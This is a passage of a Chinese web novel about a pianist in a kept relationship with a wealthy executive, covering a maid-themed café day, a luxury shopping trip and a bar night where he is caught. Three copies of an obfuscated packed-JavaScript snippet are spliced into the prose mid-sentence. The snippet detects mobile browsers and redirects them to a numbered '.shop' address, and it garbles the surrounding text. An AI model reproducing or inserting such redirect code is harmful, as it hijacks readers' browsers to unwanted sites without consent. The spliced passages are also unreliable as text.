虞清念看见他就来气,手腕上被抓红的地方还隐隐作痛,瞪着他道:“跟你有什么关系?” 陆诏身高将近一米九,逆着光居高临下垂着眼皮看向陈剑,结实的肌肉包裹在西装里,身上的气势让手不能提的陈剑不敢轻举妄动。 二人转身一起离开,交谈声隐隐约约传到陈剑耳中。 “我真的不认识他,神经病吧,把我手都抓痛了,你看。” “有没有受伤我看看?” “那倒没有,但回去之后要消毒……” 陈剑垂落在裤缝边的手慢慢攥紧。 ———— “竟然光天化日的还有这种人啊,跟狂热私生饭一样。” “对啊!吓我一跳,不过放心,我也踹了他一脚,没吃亏。”虞清念坐在咖啡厅圆桌前,薄薄的白色毛衣露出脖颈的线条,手捧咖啡杯喝了一口,打量着咖啡厅里的可爱布置,问一旁的老板兼好友,“今天什么活动主题,让我这双获得了奥利兹金奖的手来弹琴,可要涨价了啊。” 阳光透过玻璃窗洒下,虞清念晒着暖洋洋的太阳,闻着空气中漂浮的咖啡香气,从里到外都惬意。 付飞正在往展板上粘装饰品,拿着剪刀剪开一截胶带,大刀阔斧朝板子上拍去,听了这话不禁笑道:“是是是,小清念你也是好起来了,报酬给你多加一块栗子蛋糕得了吧?” 他露出一个神神秘秘的笑容,朝虞清念眨了眨眼,“今日主题活动为——男仆日!” “什么?!”虞清念睁大眼睛,确认道,“不会是那种,穿着男仆装,戴着毛绒绒尾巴说‘主人请喝咖啡‘这种吧?几个人啊,帅不帅!可以摸吗?” 付飞停下手中的活,转头上下打量了他一圈,不怀好意问:“我让你来是当员工弹琴充当氛围组的,不是来当顾客享受的。” “而且,帅哥男仆就是把腹肌放那儿,你敢摸吗?陆总不弄死你?” 虞清念放下咖啡杯,指了指他,“别小瞧我啊!小小陆诏阻挡的了我和帅哥贴贴吗?” “对了,活动几点开始来着,啊两点。”他非常不经意地伸出手腕来装模作样看时间,即使大大的挂钟就在他对面墙上。 毛衣袖子上捋,露出腕间那个在阳光反射下亮得能闪瞎人眼的满钻手表来。 “卧槽什么东西,你手上装照明弹了?”付飞胶带也不贴了,两步并一步窜到虞清念旁边,仔细看着那支充满金钱味道的表。 “佳士得拍卖行前阵子拍了一支89年的江诗丹顿古董表,原来是到少爷你手上了。”付飞咂舌摇头,“你这块表能买三环边上一套老破小,抠下来两块钻拿出去卖卖,都够活多久了。” 虞清念挡住付飞伸过来的爪子,瞪眼道:“你以为我没抠吗?抠不下来,不信你试试看。” 付飞在表盘上抠了两下,还真纹丝不动。 “哎呀你别给我抠坏了,到时候卖不上价钱怎么办?”虞清念放下毛衣袖子盖住了表。 付飞斜着嘴角道:“以我们虞大金丝雀现在的身家,还有去卖表换钱的时候啊,陆诏怎么也不能亏待你吧,他不给你钱?” 虞清念撇撇嘴,“给是给啊,但我用他的卡干了什么去了哪儿,他都一清二楚,毫无隐私可言。” “之前不是说有固定零花钱吗?” 虞清念哼了一声,“上次惹他生气,都扣光了,我满屋子奢侈品有什么用,又不能放转转上二手回收,又不能当钱花,我说我穷没人信,但我是真穷。” “说起这个我就来气!之前去学校图书馆赶作业,桌子上有上一个人留下的饼干碎屑,我就从包里掏出了个布擦干净,有个同学就对我阴阳怪气的。” 虞清念捏着嗓子学那个人说话:“哎呀,五六千的丝巾拿来当抹布真是奢侈,不亏是虞清念呢。” 他学完那个模样后立马变脸,嘴角朝下现在回想起来还是一脸不高兴,“我怎么知道那玩意儿五六千,每次买东西都送,家里到处都是,我随手拿的,没卫生纸我能用什么擦。” 付飞噗嗤一声笑出来,被他那活灵活现的样子逗的前仰后合,“怎么不能卖二手,你不卖,五千还是五块的丝巾对你来说就只是一块布,卖了之后就是钱啊。” “之前卖了他送我的一个钻戒…被发现了。”虞清念语调低下来,“所以零花钱就是那么没有的嘛!再被扣我就要倒贴了,他送我的每一个礼物都会不定期问我还喜不喜欢,怎么没见我用,最变态的是他还真都能记得住。” “都奥利兹金奖得主了,我可在头条新闻上看到你报道了,还怕这些。不过他对你别的方面没话讲吧,人长得又帅还大方,这都不满意?”付飞问。 虞清念神色微滞,摇了摇头,脖子上的银色吊坠塞在衣服里面轻晃,“他…总之,你跟他试试就知道了。” 付飞抬手阻止:“可别,我看了他就害怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154649|196528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,小爷命硬学不来弯腰。” “不是,我没别的意思。”付飞说出口才反应过来,小心翼翼打量着他的表情,“清念你别在意。” 虞清念握住咖啡杯摇头,“我知道。” 虽然表面上说是等价交换你情我愿,甚至可以说他手段高超让男人给自己花钱,但谁都知道,他和陆诏就是钱色交易这回事,人格不独立依附别人是事实,他从来没有否认过这一点。 但人跟人第一次见的场景很重要,从陆诏帮他还了父亲公司背负的巨额债务,付了每天像钞票焚烧炉一样运转的ICU费用,交了艺术学院的高额学费开始,他们注定就是从一个不平等的起点上开启这段关系的,他始终没办法和陆诏站在一个水平面上。 付飞把手里的装饰物继续朝展板上贴,调节气氛说:“比赛获奖还没给你庆祝呢,晚上早点打烊,我们喝酒去,我朋友酒吧新开业,特别火。” “好啊!”虞清念把还剩了个底的咖啡杯放下,活动了下手指坐到店角落的钢琴前,丝滑流畅的乐曲从指尖倾斜而出,他慢慢闭上了眼睛,放松身心投入曲子里。 咖啡厅里的人逐渐变多,付飞邀请了一些年轻帅气的男人来店里充当男仆npc,有穿着狼尾巴装扮成探长的霸总,也有戴小熊帽子可爱清纯的弟弟类型,在店里消费满一定金额就可以解锁和不同角色的互动。 来的大多数都是年轻女性,她们的主要目的不是咖啡,而是可以和帅哥近距离互动,邀请来的人不乏一些在网上有知名度的男网红,有粉丝慕名而来就是为了和他合照,甚至在咖啡厅前排起了长长的队伍。 虞清念在充当人型bgm间隙,观察帅哥们的营业模式,发现他们都是有模板的,比如摸头,托女生的脸,共同咬住插在一个杯子里的两根吸管,头靠在一起拍照,还有一些互动起来的拥抱小舞蹈,在很短的时间内尽可能给对方完美的贴贴亲密体验。 本来他是想观察着学学,运用到和陆诏的相处中,但现在看起来好像不太合适。 首先他得踮起脚才能摸到陆诏的头。 人群中响起一阵轰动,原来是男仆公主抱起了一个女生转圈。 其次,他抱不动陆诏。 “凭什么她可以,我也要!” 付飞边给咖啡拉花边跟顾客解释道:“这是在我们店消费满一百杯的特别福利。” 对呀,他可不可以借着和陆诏认识一千天要点什么礼物呢,这个感觉很可行。 虞清念对曲子已经很熟练了,手下不停乐曲流畅,还能分出神去欣赏帅哥工作,只是流水线式的亲密互动,看多了总觉得乏善可陈。 手指在白色的琴键上弹跳,停顿,一曲终了。 一位穿着蓬蓬裙的女生走到虞清念面前,攥着裙摆紧张又小心地问:“你好,可以合照吗?” 虞清念反应了一下,才露出歉意的笑摇摇头说:“不好意思,我不是…今日男仆。” “啊、好…好的,打扰了,这个花送给你,弹得非常好听!”女生快速撤离,一束花还没等虞清念反应就塞到了他怀里。 空气中尽是咖啡的香气,今天因为特别主题活动,来的人很多,虞清念从一开始的好奇到后来不禁从心里感叹,卖笑的确也是一项不容易的工作,在这一刻他真的与这些帅哥感同身受,虽然他卖笑的对象只有一个,而这些帅哥们却是面对源源不断的顾客,重复类似的笑容表情,提供情绪价值,对每一个前来和他拍照的人都要保持百分百热爱和耐心。 太阳逐渐落下,活动也进入尾声,人群散去,付飞拍了拍虞清念的肩膀问:“怎么样,今天来的都很帅吧,要不要去体验一下?” “我吗?”虞清念指了指自己,又指向对面琳琅满目各式各样的帅哥们,两眼发光,语气雀跃。 他这个向来做乙方的,终于可以翻身做一次甲方了吗?! 5. 第 5 章 什么流水线上的工业糖精,亲自体验近距离接触之后,虞清念才发现之前自己真是错的彻底! 戴着熊耳朵熊爪的小男仆弯腰坐在自己旁边,面前手机自拍开启后,举起叉子在虞清念嘴边摆出一个又一个甜蜜喂食的姿势,一张漂亮的脸旁边是另一张漂亮的脸,美貌加倍,哄得虞清念心花怒放。 “还可以拍视频,要吗?”营业久了,营造暧昧已经刻烟吸肺。 虞清念转头之时,感觉到磁性的声音在耳畔响起,已经超过社交距离的亲密因为对方的男仆装扮,没有让人心生不适。 “好啊。” 答应的瞬间,机车男就把虞清念拥入怀里,带了黑色手套的手在他头顶轻摸,手套触感非常好,虞清念忍不住蹭了一下。 牵手,靠肩,转圈圈,在和另一个狼耳霸总男共同比完心之后,虞清念洋溢着快乐的笑容,快速蹦跳着来到付飞跟前,“原来这就是男仆日吗?我能不能每天都过这种好日子。” 不同类型的帅哥都可以抱抱牵手贴贴,因为对方已经和无数人做过同样的姿势,所以相处起来并不会有过度亲密的不适感,也不会觉得尴尬,只是把对方当成一个人形npc。大家都可以,那么他们的亲密就不是什么与众不同的。 付飞正跟最后一个下班的工作人员打招呼,听了这话转身笑道:“你长本事了,手机相册里刚刚拍的照片记得上锁,被陆诏看见你承受得了总裁大人的怒火吗?” 养的小金丝雀在外面跟别的男人搂搂抱抱,虽然这是一种新型潮流,他们根本就没有什么暧昧,但陆诏那种人,跟他说他也理解不了年轻人的风尚吧。 虞清念终于生出了一些心虚,掏出手机把照片放进私密相册上锁,然后还是觉得不保险,点开微信置顶,表情严肃发送消息。 【总裁大人在干什么,我有点想你可不可以发一张自拍来。小猫害羞.jpg】 过了没一会儿,对面就发来了一张照片,不是自拍,而是会议室的桌子,在下方露出陆诏的一只手,黑色的西装袖子下半露出的腕表确实是他今天戴的那一只。 【在开会,查我岗?】 虞清念确认他确实在公司,没有路过咖啡厅恰巧看到他和帅哥贴贴的可能性,放下心来,嘴角上扬。 【没有啦,想问你今晚回不回家吃饭,我让张姨做点你爱吃的。小猫转圈.jpg】 陆诏:【今晚有应酬,会晚点回家,你自己好好吃,早点睡不用等我。】 虞清念笑容放大,太好了今晚他可以去酒吧尽情玩了,不用早回!他抱着手机快速敲击: 【好叭……你不用管我,我一个人可以的。猫猫委屈.jpg】 陆诏往上滑动着他们的聊天记录,每一张小猫的表情包都十分生动,大眼睛小脸,长得跟虞清念简直一个样,最后那个快要哭出来的委屈猫脸,他都能想出虞清念摆出同样表情的样子,嘴角微微上扬。 偌大的会议室里,有人正在作ppt汇报,他看见陆总一会儿拿起手机看看,一会儿又露出似笑非笑的表情,身上直冒冷汗,打起一万分精神声情并茂汇报着自己的方案。 陆诏单手在手机屏幕上敲:【今天都做什么了?】 虞清念:【上午在学校上课,下午来咖啡厅做作业了,现在准备回家。】 【我看看。】 虞清念眼睛转了转,在窗边找了个灯光柔和的位置,举起手机拍了张自拍发过去。 头顶暖光下衬得人温润如玉,白色的毛衣更衬得人多了几分温柔,虞清念举起拳头放在脸颊旁边,一只眼睛闭起,一只眼睛睁开,歪着头做了一个和后面表情包一样的动作发过去。 【小猫wink.jpg】 陆诏点开照片,放大又放大,只睁开一只的眼睛在衬托下显得更大,像是琉璃珠子一般倒映着上面的灯光。 “陆总,陆总!”旁边的秘书叫他,“请您发表意见。” 陆诏把手机扣住,看向面前的屏幕。 虞清念发完照片之后等了很久,都不见人回复,又拍了张桌上的草莓蛋糕发过去。 【从以上两张图片中选择你想吃的,小猫扣1,蛋糕扣2。】 “嗡嗡——”隔了许久,手机那头才传来消息。 陆诏:【我想扣你。】 虞清念的脸瞬间变红,跺了跺脚骂了句臭流氓,发了一串生气的表情过去。 陆诏:【给小猫吃蛋糕。】 【陆诏向您转账10000元】 虞清念的表情立马多云转晴,眼疾手快美滋滋收下了那一万块钱,一分钟后,陆诏那头又收到了一张live图。 银色的金属勺子上沾着奶油,被虞清念拿着从前方送到嘴里,他张开嘴露出粉红湿润的口腔,舌头先探出触碰到勺子,而后一口含住。 不算小的金属勺被他含进嘴里,只剩勺柄,湿漉漉的眼睛盯着镜头,做这些暗示性的动作时眼里半分意味都没有,只有无辜和天真。 然后勺子慢慢从他嘴里抽出,绵白色的奶油被抿开刮平,大部分进入口腔,还有一点点沾在嘴角,湿红的舌头只吐出一个尖尖,慢慢把嘴角的白色奶油舔干净,然后收回。 最后一秒,是他张开嘴舌头微吐,给陆诏看上面半融化未融化的奶油,红红白白的一片在口腔里流动又凝固。 陆诏瞳孔微缩,刚把图片保存,对面就撤回了。 虞清念:【谢谢哥哥,很好吃。】 陆诏闭了闭眼,抬手捏住眉心,顿了几秒后,起身离开了会议室。 这边付飞已经关掉了店内的开关总闸,见虞清念还在抱着手机笑个不停,走过去拍了拍他的肩膀,“干嘛呢?走了。” “哎等等!”虞清念借着外头路灯的光,从钢琴旁边捞起刚刚女生送的花。 一下午过去有一点蔫了,但是没关系,他撒点水就好了。 付飞挑眉,“别人送你的花,堂而皇之拿到家里?” 虞清念伸出一根手指摇了摇,表情神秘,“你这就不懂了,陆诏今晚可能得半夜才回家,到时候看到熟睡的我和已经快枯了的花,没送出去的祝福和凋落无人承接的爱意,心中肯定会有愧疚感。” 他一拍手:“愧疚感有了,钱不就有了吗?” “原来这就是,所谓借花献佛?”付飞作出恍然大悟状,“你再买个花能怎么样,二手花算什么,多难听啊。” 虞清念瞥他一眼,站在门外朝他伸手。 付飞不解道:“干嘛?” “买花不要钱吗?你给我啊,而且二手花就应该给陆诏这个不让我卖二手拿来花花的独裁者!” 付飞笑个不停,一边笑一边拉他上车,“陆诏摊上你,可算是福气上门了。” “不过我劝你还是仔细看看里面有没有写给你的小卡片什么的,被他发现你收人花,还转手送给他,我怕你没命花。” 虞清念低头翻找了一会儿,没发现卡片,然后放心地把花扔到了后座上。 刚刚在微信里挑衅陆诏,估计他肯定怀恨在心,送个花哄一哄,应该不会对自己太过分吧,这可是自己第一次送花给别人。 虞清念这样想着,觉得自己思虑周全。 “这是去哪儿?”望着窗外的路,虞清念疑惑道。 付飞伸手把后视镜往旁侧掰,对准了虞清念,说:“去给你买衣服,穿这身去酒吧,我怕别人说我带坏未成年。” “怎么了,不好看吗?”虞清念对着镜子整理了下头发。 大眼睛和巴掌脸本就显得幼态,他脸上其他线条也都是钝的,眼尾下垂有点小狗眼的意味,搭配上纯白的毛衣和牛仔裤,一副完全意义上的乖乖牌模样,是今早按照陆诏喜好打扮的。 付飞打量了他一眼,歪了下头,“好看,但太乖,你有没有成熟一点的衣服?” “什么叫成熟一点的衣服?”当虞清念诚心发问之后,很快他就得到了答案。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154650|196528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 试衣间宽大的镜子前,虞清念穿着快到他脚底的破洞低腰做旧牛仔裤,正在无措地抠自己廓形外套里面松散的能透出肉来的薄针织衫。 其实他并不矮,差一厘米一米八,他一直相信自己总有长到一米八的一天!紧身的薄针织堆积在腰部,里面的马甲线若有似无透出来,性感的□□若隐若现,虞清念立马把外套拉链拉到下巴。 平时的衣服都是往少年感方向走的,清纯有余性感不足,现在这套衣服一上身,他还真有种端木磊带楚雨荨去美特斯邦威的感觉了。 付飞站在不远处欣赏镜子里自己的杰作,满意点头,从旁边又抽出副墨镜戴到了虞清念脸上。 “不是,我大晚上的戴墨镜能看清什么啊?”虞清念把眼镜往下勾,银链子从衣服里掉出来垂在锁骨下方晃动。 付飞啧了一声,“你就说帅不帅吧!” 镜子里虞清念冷着脸,黑色的衣服衬得他的皮肤白到夸张,长腿窄腰优越的身材比例通过穿搭体现的淋漓尽致,连付飞都多看了他两眼。 “之前怎么没发现,你身材还蛮不赖的呢?”付飞靠近,有种吾家有儿初长成的欣喜,那条晃来晃去的银链子吸引了他的注意,伸手想看底下小方牌上刻着什么东西的时候,被虞清念拍开了,吊坠被他重新塞到了衣服里。 “别乱动我啊!就算我很帅,咱俩也是不可能的。” 付飞噗嗤一声笑了出来,“你快把眼镜戴上吧,我历来交的男朋友有你这种类型吗?” 虞清念哼了一声,“那可不好说,今年一年你就交了二十多个,这还是我见过的,说不定你什么时候变口味了呢?”他硬生生把自己这套装扮看顺眼了,走起路来感觉脚下带风。 “哎,对了,上次那个大学老师呢?最近没看到你们在一起啊?” 付飞漫不经心说:“分了,嫌我送的生日礼物不用心,拿我送前男友的跟他比,他自己也不瞧瞧他送我的都是什么破烂玩意!” 虞清念听了这话陷入思考,他这段时间又是踩人家鞋,又是发那种照片,现在还背着陆诏跟帅哥拉手去酒吧喝酒,总感觉太过放肆了。但之前准备奥利兹比赛实在辛苦,好不容易拿到好结果放松一下也没什么吧…… 陆诏给学校捐了不少钱,就为了跟校长和周平搭上关系,帮自己进文艺协会,他是不是也该回馈点礼物才对,不然会不会让他觉得自己不重视这段关系…金主得到反馈才会愿意进一步付出。 虞清念转头跟付飞说:“你等我一下,买个东西。” 当他单手插兜出现在店门口的时候,柜姐明显愣了一下,等虞清念把眼镜拿下来之后,对方脸上才绽放出宾至如归的笑容,温和又不失尊敬道:“虞先生,有段时间不见您了,我们店今天上了新货,全海城就这一件,我一直给您留着呢,想着虞先生会喜欢。” 随着虞清念进入vip间,店门口拉起了暂不接客的牌子。 柜姐递上一杯虞清念喜欢的花茶,边拿出一款新包,边跟他闲聊:“刚才在门口差点没认出来,虞先生人长得好看,什么风格都能驾驭,今天您先生没一块儿过来?” 虞清念兴致缺钱摸了摸那个包,说:“没有,我正想送他个东西当礼物,你觉得送什么比较好?” 之前多半是陆诏陪虞清念来,对方付钱,虞清念自然是什么贵买什么,他们这些销售背后也议论过这两个人到底是什么关系,不过不要紧,能花钱的顾客都是好顾客。不管这些漂亮的小男孩最后能不能成功嫁入豪门,提前称您先生肯定是错不了的,毕竟他们又不是兄弟,更不是父子。 “皮带怎么样?这里有几个经典款,商务不失精致,配西裤很合适。”销售拿出几条来给虞清念看。 虞清念摸了摸压花皮革,问:“这几条哪条最贵?” 柜姐指了一个。 “其次贵的呢?” “然后呢?” 虞清念指着最后剩下的那条,微笑说:“就要这个。” 6. 第 6 章 虞清念拿着包装好的皮带正要往外走,听见店门口传来吵嚷的声音。 “我这个包就是你们家买的,你看才没多久就掉漆了,你们得给我个说法!” 销售面带职业微笑安抚她:“您先别着急,这款包我看过了,的确是我们家的,但是几年前就下架了,我们家的店是近几年开的,就没有这个包的型号售出过。” 女生皱眉,“你什么意思啊?我男朋友说就是在这个商城买的,商场里只有你们一家店,不在你家还能在哪儿?” 销售露出歉意的表情:“抱歉,这不是我的业务范畴,不过楼下东南角有一家二奢转卖,或许那里可能会有你想要的答案。” 长发女生冷静下来,跟销售道了声谢,踩着叮叮当当的高跟鞋朝楼下走去。 虞清念在一旁偷听到二奢转卖,像一条小尾巴一样跟着长发女生下了楼。 “你他妈一个离了婚的二手男人跟我装初恋谈恋爱,结果送我的包也是二手的?你是不是人!在这儿给我做自我介绍呢?”长发女生和一楼东南角柜台的人不知道交流了什么,转头拿起手机劈头盖脸就是一顿输出,“行了别编了我都看见你和前妻合照了,还你?好啊,我放一楼垃圾桶了你钻进去拿吧!正好缓解一下你的思乡之情!” 女生把包朝前投掷,“砰——”的一声,重物应声落进垃圾桶中,她甩了甩头发迈步朝前走去,丝毫不带一丝眷恋。 虞清念目瞪口呆,在心里默默鼓掌。 “你在这儿干嘛呢?”虞清念刚看完一场好戏,肩膀被拍了一下,转头看去是付飞。 虞清念指了指不远处的东南角,拉着付飞一起过去,成功添加了一位销售的微信。 【AAA二奢李姐】:帅哥你好,我们这里款式很多保真可验哦,有想要的款式可以看我朋友圈上新,另外如果有想要出手的包也可以联系我,李姐竭诚为您服务。 【nian】:可以现金支付不走线上吗? 【AAA二奢李姐】:黄豆微笑.jpg ———— 穿过一条长长的走廊,震天响的动感音乐带着摇晃的节奏和音浪涌来,在角落的卡座里,快速移动的灯光照在陆诏的脸上,把他手里的酒杯都笼罩上了一层蓝色。碎冰混着威士忌在玻璃杯里碰撞,滑过杯壁,随着男人喉结的滑动,流淌进胃里。 “你说帮我约合作伙伴,就约在这种地方?”陆诏拿烟盒往桌上一磕,单手捏碎一颗爆珠后咬进嘴里,打火机溢出的火苗高高窜起,混合幽蓝色的橙黄火焰照的人眉眼间流淌出别样的性感。 他慢慢吐出一口散开的烟,浓密乌黑的眉毛微微上挑,等着对面人回答。 上官旭露出一个稍安勿躁的表情,伸手去抢他手里的打火机,抢了一下竟然没抢动,铁质打火机纹丝不动被握在手里。 “不是吧,一个打火机那么宝贝?” 陆诏点头,滑开盖子又合拢,唇间散开混合着威士忌和烟草味道的笑,“宝贝送的。” 上官旭暗骂一声恋爱脑,抢打火机不成,从他烟盒里抢了根烟,没好气说:“这间酒吧的宣传广告创意就是融创做的,他们的人今晚会来,约在这儿没那么严肃,也正好看看他们的真实实力。” “不是我说,就陆氏集团四个大字还需要什么广告宣传?要宣传什么需要陆总屈尊降贵。”上官旭问。 舞池里有人穿着短裙踩在椅子上跳舞,人群里的欢呼声震耳欲聋,陆诏瞥见上官旭已经和邻座的一个酷哥手贴手心连心了,掸了掸烟灰,夹着烟拿出手机发消息。 陆诏:【回家了吗?】 他等了几分钟还没收到回信,点开了虞清念的朋友圈,下午茶、新衣服、新包包手表,打高尔夫的侧拍照、海边度假的照片,每一组图片都很赏心悦目,每一张都有陆诏花钱付出的痕迹。 再往前翻,是虞清念发的仅他可见的朋友圈,至于为什么知道仅他可见,因为如果是公开发布的,朋友圈里就不可能提到自己的名字,不管是在学校里还是在外人面前,除非必要,虞清念并不想和他扯上关系。 这条文案是:今天看视频看到了好诱人的龙虾,如果陆诏今晚能带我去吃的话,那我们就是心有灵犀了。 下一条是虞清念发的视频,他一只手抓着巨型活龙虾笑得一脸开心,朝屏幕外的人炫耀道:“我自己抓的哦,我亲手抓的哦!” 陆诏记得那天去吃海鲜,虞清念非要自己捞龙虾,他不同意,少年就冷着脸跟他生气,自己抱着胳膊就往外走,大晚上在冷风中走就是不肯上车。 最后陆诏实在没办法,给他的手戴了一层又一层手套,快裹成木乃伊了,又让餐厅的人教了少年好久抓哪个地方不会被钳子夹到手,才允许虞清念去抓龙虾。 虞清念冷哼着指挥陆诏给自己拍了好几个小视频,记录下他英明神武抓虾的画面。 陆诏看着那个视频,又想起那天晚上的事来,唇边扬起一个小弧度。 “哇你这朋友开那么大酒吧!”虞清念单手插兜走到订好的位子前,被灯红酒绿群魔乱舞的氛围吸引了注意力,这里的音乐和他平时听的曲子完全来自两个世界,亮晶晶的眼睛里全是惊讶。 付飞跟送酒的人打了个招呼,两瓶酒在他手中对着一开,瓶盖皆掉落,他把一瓶递到虞清念面前,说:“欢迎来到成年人的世界,乖宝宝。” 音响里的音乐逐渐换成了暧昧轻柔的,这里的每个人脸上都挂着可得性极高的笑容,跳跃的灯光让人眼前发晕,心中发烫。 虞清念攥着酒瓶,有点不知如何是好。 “怎么了?”付飞擦去嘴边的酒渍,凑近说,“放松点,只是玩玩。” 虞清念犹豫道:“我喝了酒之后,会不会被闻出来,陆诏不让我喝这个的…” 付飞露出牙齿,在震天响的音乐中对着虞清念的耳朵喊道:“你今天连人家帅哥手都牵了脸都贴了,喝杯酒开始害怕了!虞清念你行不行啊在这瞻前顾后的,肆无忌惮享受的才是人生!” 在每一个看起来都很肆意的人充斥的场所,付飞喊出来的话震耳欲聋。不远处有人站在沙发上,发牌机里的扑克牌对着天上源源不断喷洒出一张又一张各色花型的扑克牌,像是下了一场纸醉金迷又梦幻的雨,香槟塔上浅金色的酒液一层一层流淌而下,在晃动的灯光下反射出五光十色的影子。 虞清念举起酒瓶,仰起头吞咽下又苦又辣的液体,冰凉的液体入口,纵使那些果味奶味再柔和,都压不住辛辣的本质,他微微皱了下眉。 付飞递上纸巾,拉过虞清念的胳膊说,“帅哥邀请我们一起玩游戏,来不来?” 隔壁卡座坐了有三四个男生,看起来又高又帅,年纪不大可能是附近的大学生,看见虞清念看他们,都露出善意和自以为帅气的表情。 “十五二十,十五!” “十五二十,十!” “哎呀我又输了,你太厉害了,是不是一开始装不会就为了虐菜啊!”跟虞清念一起玩的男生仰头喝了一杯酒,耳朵上的银色耳钉在灯光下闪闪发亮,他笑着凑近虞清念问,“有没有什么秘诀,告诉我呗。” 音乐声太大,想要交流都得贴很近才能听清楚,微醺的酒气混着热气洒在耳边,虞清念后撤了几分,说:“没有秘诀,纯粹是你菜。” 一开始几局他刚了解规则在适应,多喝了几杯酒,现在酒劲上涌,头脑有些发晕。荷尔蒙的攒动和人贴人的热气让他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154651|196528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把外套拉链拉开了,若隐若现的□□线条暴露在众人的视线中。 带耳钉的男生就坐在他旁边,视线从光洁的脖颈滑到笔直的锁骨,伸手捏起虞清念挂在脖子上的小方牌,上面花体英文有些难辨认,仔细看去是一个名字——Alex。 虞清念因为酒意上头反应变慢,没有及时躲开触碰,顿了一下才眉头皱起,把项链夺回来塞进衣服里。 “你叫Alex?”男生问。 “钢琴演奏和越野智驾的确有很多相通之处,关于陆氏新能源高端线的广告,这个代言人会很出彩,希望我们能合作愉快,Alex先生。”带着外国口音的男人和陆诏握手,带着礼貌的微笑,“这间酒吧的广告营销也融入了创新理念,吸引了很多年轻人,越野智驾的消费对象也主要面向年轻一代……” 陆诏耳边是带着口音的中文营销创意介绍,但眼睛已经落到不远处那个穿着破洞网纱上衣,在一群男人中间笑得前仰后合的虞清念身上去了。 “到底开不开?”虞清念翘着二郎腿,单手撑住下巴趴在桌上,浓密的睫毛一抬,像是黑珍珠一样的眼睛望向自己右边的人,“这次开错了你要喝五杯哦。” 他旁边的戴耳钉的男生已经喝了不少,被水光潋滟的漂亮眼睛一盯,整个人都红了,“我、要不…不开了,我叫六个五。” 虞清念一拍桌子,“付飞,开他,输了我喝。” 付飞一掀旁边人骰盅,里面果然没有六个五,桌上的人顿时欢呼起来:“骰王!骰王!” 虞清念摆了摆手,把兜里新买的墨镜戴上小装一把,“低调,低调。” 其实他已经控制不住咧开嘴大笑,眼睛笑得弯弯,卧蚕鼓起,一时间什么烦恼忧虑都被抛之脑后,微醺的氛围加上场上人的欢呼,以及又一次游戏的胜利,让他的快乐因子十分活跃。 耳钉男哀嚎一声,“不是,哥!我不就摸了一下你项链,用得着一晚上做局整我吗?呜呜呜我要换位,我不要坐在开挂人的下面!” “我开挂还是你菜?”虞清念戴着墨镜,眉毛一挑。 “我菜!我有眼无珠惹到真大神,哥我敬你一杯,我真的服了!”耳钉男给虞清念杯子里倒满了酒,杯口相撞,他先仰头喝了。 虞清念晃了晃脚,端起杯子一饮而尽。 多喝一些之后,酒也变得没那么难入口,那种晕晕乎乎的感觉会把脑子里杂乱的情绪都挤飞出去,只剩下微醺愉悦。况且他这是胜利之酒,又不是惩罚之酒。 这杯喝的有些急,很快上头,虞清念拿起旁边的外套穿上准备去趟洗手间,结果刚摸到外套,兜里的手机就响了,他掏出来一看,头脑又是“嗡”的一下。 陆诏:【回家了吗?】 陆诏:【在哪儿?】 第一条是两个小时之前发来的,最近一条消息的发送时间是刚刚,不知不觉他竟然在这儿玩那么久了。 虞清念咬了咬嘴唇,抱着手机焦虑地跺脚,忽然灵机一动,朝家里的座机打了个电话。 “喂,张姨,陆诏回家了吗?”虞清念语气中含着小心,得到否定答案后,才长舒一口气,挂掉电话。 nian:【我刚刚在琴房练琴,然后又睡了一会儿,现在才看到消息。】 虞清念一手攥住空了的酒杯,一手不断在手机屏幕上滑动,又打了几个字。 nian:【你在哪儿呢?什么时候回家,我想你了。小猫抱大腿.jpg】 陆诏握着手机,下颌绷紧,眼睛滑过消息,又抬眼看着不远处那个刚刚游刃有余喝酒玩游戏,现在有些慌张的熟悉背影,手里的烟头明灭。 陆诏:【我在你后面卡座,想我了过来和我碰一杯。】 7. 第 7 章 虞清念手中一松,酒瓶从桌子上滚落下去,发出“砰——”的一声。 他整个人像是螺丝坏掉的机器人,僵硬往后方转头,但是后面一片昏暗,没看到什么人,就在他心中小小松了一口气,觉得陆诏是在诈他的时候,第六感突然作祟。 虞清念颤抖着手指把鼻子上架着的墨镜拿下来,抬眼的一瞬间,世界变亮,刚好和穿着一身黑色的陆诏对视。 对方眼神锋利,直直望向他,像是已经盯了猎物许久缓而不发的鹰隼。 陆诏对着他抬起手,中指和无名指并在一起,朝里勾了勾,表情看不出喜怒,并没有兴师问罪的架势,却让虞清念小腿发软,头皮发麻。 “去哪儿?”付飞见虞清念站起来要走,拉住他问道。 虞清念低声说:“去送死,你这个破墨镜,还真是遮光…” 